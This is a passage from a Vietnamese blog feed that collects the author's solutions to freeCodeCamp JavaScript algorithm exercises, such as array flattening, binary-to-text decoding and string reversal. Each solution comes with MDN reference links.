href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/min">Math.min()</a></li> </ul> <h2 id="intermediate-algorithm-scripting---finders-keepers" style="position:relative;"><a href="#intermediate-algorithm-scripting---finders-keepers" aria-label="intermediate algorithm scripting finders keepers permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Intermediate Algorithm Scripting - Finders Keepers</h2> <p>Duyệt một mảng các số và tìm ra số đầu tiên thỏa mãn test.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">findElement</span><span class="token punctuation">(</span><span class="token parameter">arr<span class="token punctuation">,</span> func</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> arr<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> val <span class="token operator">=</span> arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">func</span><span class="token punctuation">(</span>val<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">return</span> val<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token function">findElement</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">8</span><span class="token punctuation">,</span> <span class="token number">9</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">num</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> num <span class="token operator">%</span> <span class="token number">2</span> <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h2 id="intermediate-algorithm-scripting---drop-it" style="position:relative;"><a href="#intermediate-algorithm-scripting---drop-it" aria-label="intermediate algorithm scripting drop it permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Intermediate Algorithm Scripting - Drop it</h2> <p>Bỏ đi các số của một mảng, từ trái sang phải, cho đến khi thỏa mãn test.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">dropElements</span><span class="token punctuation">(</span><span class="token parameter">arr<span class="token punctuation">,</span> func</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">while</span> <span class="token punctuation">(</span>arr<span class="token punctuation">.</span>length <span class="token operator">></span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">func</span><span class="token punctuation">(</span>arr<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token boolean">false</span><span class="token punctuation">)</span> arr<span class="token punctuation">.</span><span class="token function">shift</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">else</span> <span class="token keyword">break</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> arr<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">dropElements</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">n</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> n <span class="token operator">&lt;</span> <span class="token number">3</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/shift">Array.prototype.shift()</a></li> </ul> <h2 id="intermediate-algorithm-scripting---steamroller" style="position:relative;"><a href="#intermediate-algorithm-scripting---steamroller" aria-label="intermediate algorithm scripting steamroller permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Intermediate Algorithm Scripting - Steamroller</h2> <p>San phẳng (chuyển về mảng một chiều) một mảng nhiều chiều cho trước.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">steamrollArray</span><span class="token punctuation">(</span><span class="token parameter">arr</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> ans <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> arr<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> item <span class="token operator">=</span> arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>Array<span class="token punctuation">.</span><span class="token function">isArray</span><span class="token punctuation">(</span>item<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> ans <span class="token operator">=</span> ans<span class="token punctuation">.</span><span class="token function">concat</span><span class="token punctuation">(</span><span class="token function">steamrollArray</span><span class="token punctuation">(</span>item<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> ans <span class="token operator">=</span> ans<span class="token punctuation">.</span><span class="token function">concat</span><span class="token punctuation">(</span><span class="token punctuation">[</span>item<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> ans<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">steamrollArray</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/isArray">Array.isArray()</a></li> <li><a href="https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/concat">Array.prototype.concat()</a></li> </ul> <h2 id="intermediate-algorithm-scripting---binary-agents" style="position:relative;"><a href="#intermediate-algorithm-scripting---binary-agents" aria-label="intermediate algorithm scripting binary agents permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Intermediate Algorithm Scripting - Binary Agents</h2> <p>Trả về một string bao gồm các kí tự tiếng anh từ chuỗi nhị phân cho trước.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">binaryAgent</span><span class="token punctuation">(</span><span class="token parameter">str</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">function</span> <span class="token function">bin2Dec</span><span class="token punctuation">(</span><span class="token parameter">bin</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> binArr <span class="token operator">=</span> bin<span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> binArr<span class="token punctuation">.</span><span class="token function">reduce</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">acc<span class="token punctuation">,</span> cur<span class="token punctuation">,</span> index</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> acc <span class="token operator">*</span> <span class="token number">2</span> <span class="token operator">+</span> <span class="token function">Number</span><span class="token punctuation">(</span>cur<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">var</span> arr <span class="token operator">=</span> str<span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">\s+</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">bin</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> dec <span class="token operator">=</span> <span class="token function">bin2Dec</span><span class="token punctuation">(</span>bin<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> String<span class="token punctuation">.</span><span class="token function">fromCharCode</span><span class="token punctuation">(</span>dec<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> arr<span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">binaryAgent</span><span class="token punctuation">(</span> <span class="token string">"01000001 01110010 01100101 01101110 00100111 01110100 00100000 01100010 01101111 01101110 01100110 01101001 01110010 01100101 01110011 00100000 01100110 01110101 01101110 00100001 00111111"</span> <span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split">String.prototype.split()</a></li> <li><a href="https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/map">Array.prototype.map()</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/join">Array.prototype.join()</a></li> <li><a href="https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/String/fromCharCode">String.fromCharCode()</a></li> </ul> <h2 id="intermediate-algorithm-scripting---everything-be-true" style="position:relative;"><a href="#intermediate-algorithm-scripting---everything-be-true" aria-label="intermediate algorithm scripting everything be true permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Intermediate Algorithm Scripting - Everything Be True</h2> <p>Kiểm tra xem tham số thứ 2 đưa vào hàm có tồn tại trong tất cả các phần tử thuộc tham số thứ nhất.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">truthCheck</span><span class="token punctuation">(</span><span class="token parameter">collection<span class="token punctuation">,</span> pre</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> collection<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>collection<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">hasOwnProperty</span><span class="token punctuation">(</span>pre<span class="token punctuation">)</span> <span class="token operator">||</span> <span class="token operator">!</span>collection<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span>pre<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">truthCheck</span><span class="token punctuation">(</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">user</span><span class="token operator">:</span> <span class="token string">"Tinky-Winky"</span><span class="token punctuation">,</span> <span class="token literal-property property">sex</span><span class="token operator">:</span> <span class="token string">"male"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">user</span><span class="token operator">:</span> <span class="token string">"Dipsy"</span><span class="token punctuation">,</span> <span class="token literal-property property">sex</span><span class="token operator">:</span> <span class="token string">"male"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">user</span><span class="token operator">:</span> <span class="token string">"Laa-Laa"</span><span class="token punctuation">,</span> <span class="token literal-property property">sex</span><span class="token operator">:</span> <span class="token string">"female"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">user</span><span class="token operator">:</span> <span class="token string">"Po"</span><span class="token punctuation">,</span> <span class="token literal-property property">sex</span><span class="token operator">:</span> <span class="token string">"female"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token string">"sex"</span> <span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty">Object.prototype.hasOwnProperty()</a></li> </ul> <h2 id="intermediate-algorithm-scripting---arguments-optional" style="position:relative;"><a href="#intermediate-algorithm-scripting---arguments-optional" aria-label="intermediate algorithm scripting arguments optional permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Intermediate Algorithm Scripting - Arguments Optional</h2> <p>Viết một hàm số tính tổng 2 tham số. Nếu chỉ có một tham số được đưa vào thì trả về một function mới yêu cầu đưa vào một tham số, cuối cùng trả về kết quả tổng.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">addTogether</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">function</span> <span class="token function">isNumber</span><span class="token punctuation">(</span><span class="token parameter">val</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">typeof</span> val <span class="token operator">===</span> <span class="token string">"number"</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">isNumber</span><span class="token punctuation">(</span>arguments<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">isNumber</span><span class="token punctuation">(</span>arguments<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">return</span> arguments<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">+</span> arguments<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>arguments<span class="token punctuation">.</span>length <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> sum <span class="token operator">=</span> arguments<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">isNumber</span><span class="token punctuation">(</span>arguments<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">return</span> sum <span class="token operator">+</span> arguments<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token function">addTogether</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token string">"3"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="/tim-hieu-javascript-closures/">Tìm hiểu JavaScript Closures</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments">Arguments object</a></li> </ul> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là tổng hợp các bài toán thuộc chủ đề <strong>Intermediate Algorithm Scripting</strong> trên freeCodeCamp.</p> <p>Nếu bạn có gì thắc mắc, góp ý hay cải tiến các thuật toán trên. Vui lòng để lại bình luận phía dưới nhé.</p> <p>Xin chào và hẹn gặp lại bạn trong bài viết tiếp theo, thân ái!</p>[email protected]<![CDATA[Lập trình JavaScript với FCC - Basic Algorithm Scripting]]><![CDATA[Trong lập trình nói chung và lập trình JavaScript nói riêng, việc học thuật toán vẫn luôn vô cùng quan trọng. Thuật toán giúp cho lập trình viên rèn luyện tư duy. Ngoài ra, khi…]]>https://completejavascript.com/lap-trinh-javascript-voi-fcc-basic-algorithm-scripting/https://completejavascript.com/lap-trinh-javascript-voi-fcc-basic-algorithm-scripting/<![CDATA[Thuật toán]]><![CDATA[FCC]]>Wed, 28 Feb 2018 16:35:32 GMT<p>Trong lập trình nói chung và lập trình JavaScript nói riêng, việc học thuật toán vẫn luôn vô cùng quan trọng. Thuật toán giúp cho lập trình viên rèn luyện tư duy.</p> <p>Ngoài ra, khi thuật toán tốt thì chương trình viết ra sẽ chạy nhanh hơn, hoặc trông sẽ sáng sủa, dễ hiểu và dễ bảo trì hơn.</p> <p>Vì vậy, tiếp theo trong loạt bài <a href="/tag/fcc/"><strong>Lập trình JavaScript với FCC</strong></a>, hôm nay, mình sẽ tổng hợp lại những bài toán thuộc chủ đề <strong>Basic Algorithm Scripting</strong> trên freeCodeCamp để các bạn tiện theo dõi và có thể tham khảo khi cần.</p> <p>Tuy nhiên, những bài toán này khá đơn giản nên mình sẽ không giải thích cách làm. Nếu các bạn có thắc mắc hay góp ý thì có thể để lại ở phần bình luận phía dưới.</p> <p>Trước khi đi vào tìm hiểu các bài toán, các bạn có thể đọc trước các bài viết sau. Chúng khá hữu ích vì các thuật toán sau đây sẽ sử dụng đến những kiến thức trong đó.</p> <ul> <li><a href="/kieu-du-lieu-trong-javascript/">Các kiểu dữ liệu trong JavaScript</a></li> <li><a href="/array-la-gi-array-trong-javascript/">JavaScript Array cơ bản</a></li> <li><a href="/sap-xep-mang-trong-javascript/">Array Sorting – vấn đề muôn thuở</a></li> <li><a href="/javascript-foreach-la-cai-quai-gi/">JavaScript forEach là cái quái gì?</a></li> <li><a href="/object-la-gi-object-trong-javascript/">JavaScript Object – last but not least</a></li> <li><a href="/tim-hieu-regular-expression-javascript/">Tìm hiểu Regular Expression JavaScript</a></li> </ul> <h2 id="basic-algorithm-scripting---reverse-a-string" style="position:relative;"><a href="#basic-algorithm-scripting---reverse-a-string" aria-label="basic algorithm scripting reverse a string permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Basic Algorithm Scripting - Reverse a String</h2> <p>Cho một string, nhiệm vụ của bạn là phải đảo ngược lại string đó. Ví dụ: <strong>Hello</strong> => <strong>olleH.</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">reverseString</span><span class="token punctuation">(</span><span class="token parameter">str</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> str<span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">reverse</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">reverseString</span><span class="token punctuation">(</span><span class="token string">"hello"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String">Global String Object</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split">String.prototype.split()</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reverse">Array.prototype.reverse()</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/join">Array.prototype.join()</a></li> </ul> <h2 id="basic-algorithm-scripting---factorialize-a-number" style="position:relative;"><a href="#basic-algorithm-scripting---factorialize-a-number" aria-label="basic algorithm scripting factorialize a number permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Basic Algorithm Scripting - Factorialize a Number</h2> <p>Tính giai thừa của một số tự nhiên n!. Ví dụ: <strong>5! = 5 * 4 * 3 * 2 * 1</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">factorialize</span><span class="token punctuation">(</span><span class="token parameter">num</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>num <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> i <span class="token operator">=</span> num <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">;</span> i <span class="token operator">>=</span> <span class="token number">1</span><span class="token punctuation">;</span> i<span class="token operator">--</span><span class="token punctuation">)</span> num <span class="token operator">*=</span> i<span class="token punctuation">;</span> <span class="token keyword">return</span> num<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">factorialize</span><span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators">Arithmetic Operators</a></li> </ul> <h2 id="basic-algorithm-scripting---check-for-palindromes" style="position:relative;"><a href="#basic-algorithm-scripting---check-for-palindromes" aria-label="basic algorithm scripting check for palindromes permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 